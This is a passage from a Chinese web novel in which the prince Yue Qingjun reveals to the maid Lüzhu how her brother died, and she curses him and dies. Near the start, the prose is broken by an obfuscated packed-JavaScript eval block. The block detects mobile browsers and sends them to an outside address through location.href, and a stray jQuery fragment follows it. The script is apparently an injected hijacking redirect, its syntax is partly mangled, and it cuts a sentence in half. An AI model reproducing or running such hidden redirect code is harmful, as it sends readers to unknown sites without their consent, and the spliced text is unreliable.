越青君抬眸看她一眼,眼中是自以为的温柔,绿珠以为的毛骨悚然。 “你也认为,这些是微末小事吗。” 绿珠在原文中固然只是个出场没几次的炮灰龙套,甚至没细写过她的人设背景。 但越青君身为作者,在写的时候,却会习惯在心中将对方的背景稍作补全,让逻辑完整。 越青君原本不确定这些并未写出来的内容究竟会不会成为真实,但目前来看,不必再有怀疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13738020|143235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你想知道你弟弟的下落吗?” 绿珠双目微睁。 越青君面上仍是那般淡定,“你进宫后,你叔婶家被人强夺了田地,一家人尚且活不下去,又怎能管你弟弟。” “他被卖给了当年买你的人。” “进宫当了小内侍。” 绿珠面色惨白,不肯相信。 越青君却仍在继续。 “因面上有个梨涡,取名小梨子,为人讨喜,算不得多好,但好歹活了下去。” 绿珠有了精神,目光灼灼看着越青君,好似在催促他继续。 绿珠也不知这位六殿下究竟是什么神鬼手段,她只是想知道,她在世上唯一的亲人,小时候会把鸡蛋偷偷留给她的弟弟在哪里。 越青君也没有辜负她的期望。 “他认了个老太监做干爹,对方待他很好,老太监在御膳房,他也跟着吃了油水,长了肉,长得……连他姐姐也认不出来。” 绿珠心跳停了一瞬,忽然有一道声音,在她脑海中叫嚣,停下,停下,不能再听下去,不能让他再说下去! 越青君停了停,好似在等她打断。 绿珠嘴唇张了又合,合了又张,终究没发出半点声音。 “有一回,一名宠妃要喝荔枝老鸭汤,御膳房没有,宠妃不好伺候,院里隔段时日就会死人,传膳的宫女担心宠妃责罚,哄你弟弟提着另一份人参百合汤送去。” “宠妃大怒,命人打你弟弟二十板子,当宠妃看向那宫女时,宫女立即祸水东引,说……” “没有就没有,还拿别的来糊弄娘娘,想来是觉得娘娘好欺负,娘娘今日可得好好立威,否则今日御膳房,明日冰鉴司,都能小看了娘娘……”说到最后,绿珠早已泣不成声。 分明是两年前的事,分明在这十几年的宫廷生活不值一提,可如今回想,她却竟记得一清二楚,仿佛就在昨日。 在她的撺掇下,二十大板变成了五十大板,她亲眼看着,对方被打得皮开肉绽,血肉淋漓。 还未打完,那小内侍就没了气息。 死前紧紧盯着她,死不瞑目的模样她还记忆犹新。 原以为是要化为恶鬼来日索命,如今才明白,是弟弟认出了姐姐,但直至死亡,也未曾唤她一声。 之前是没机会,最后那一日,却是不敢。 不愿对方悔痛余生,只愿对方终其一生,也不知半分。 绿珠泪流满面,却是无声,她捂住胸口,缓缓跪坐在地,浑身再无力支撑。 她想起来了,原本那日在御膳房回她话的并非是那人,是在她要人去宠妃宫中时,对方主动请缨。 宠妃脾气很差,但那小内侍能说会道,这才只罚了二十板子。 不是什么巧合缘分,他本就是为她来的。 什么任务,什么主子,绿珠都抛诸脑后,此时此刻,她只是用尽全力回忆那人的样貌,对方的模样好似真的一点一点,逐渐清晰。 她急急喘着气,双目通红盯着越青君,“殿下,多谢您帮我找到弟弟……” “绿珠祝您永生求而不得,越想要,就越失去。” 说罢,一抹血影飞溅,不过几个呼吸,绿珠便没了气息。 从前写自他笔下的名字,如今迎来了结局。 越青君方才让开了位置,没让鲜血溅在身上。 如今重新走到绿珠面前,幽深的目光中满是感慨和怜惜。 “分明帮了你,却还这般咒我。”越青君摇了摇头,“好在我心地善良,并不怪你。” 作为越青君来这个世界后,算是亲自发的第一份盒饭,绿珠在越青君这里还算有排面,不仅有专门聊天的场地,他还满足了她此生最大的愿望,不可谓不厚礼。 越青君端起两杯酒,一杯浇在绿珠身前。 虽然只是小角色,但对越青君而言,这个世界只分宁悬明与其他人,其他人之中,又只分有用与无用。 绿珠显然是有用之人。 都是自己的角色,自己的作品,越青君自然也心有不舍与怜惜。 他心下一叹,对着绿珠微微一笑,满目柔情,“既然你今日想请我喝酒,那我便应了你,算是成全你我这短暂的相知相聚。” 说完,他便将那杯加料酒一饮而尽。 绿珠戏份结束,接下来是他的主场。 给绿珠的礼物如此用心,给悬明的自然不能落于下风。 他可没有厚此薄彼。 他只是明目张胆的偏爱而已。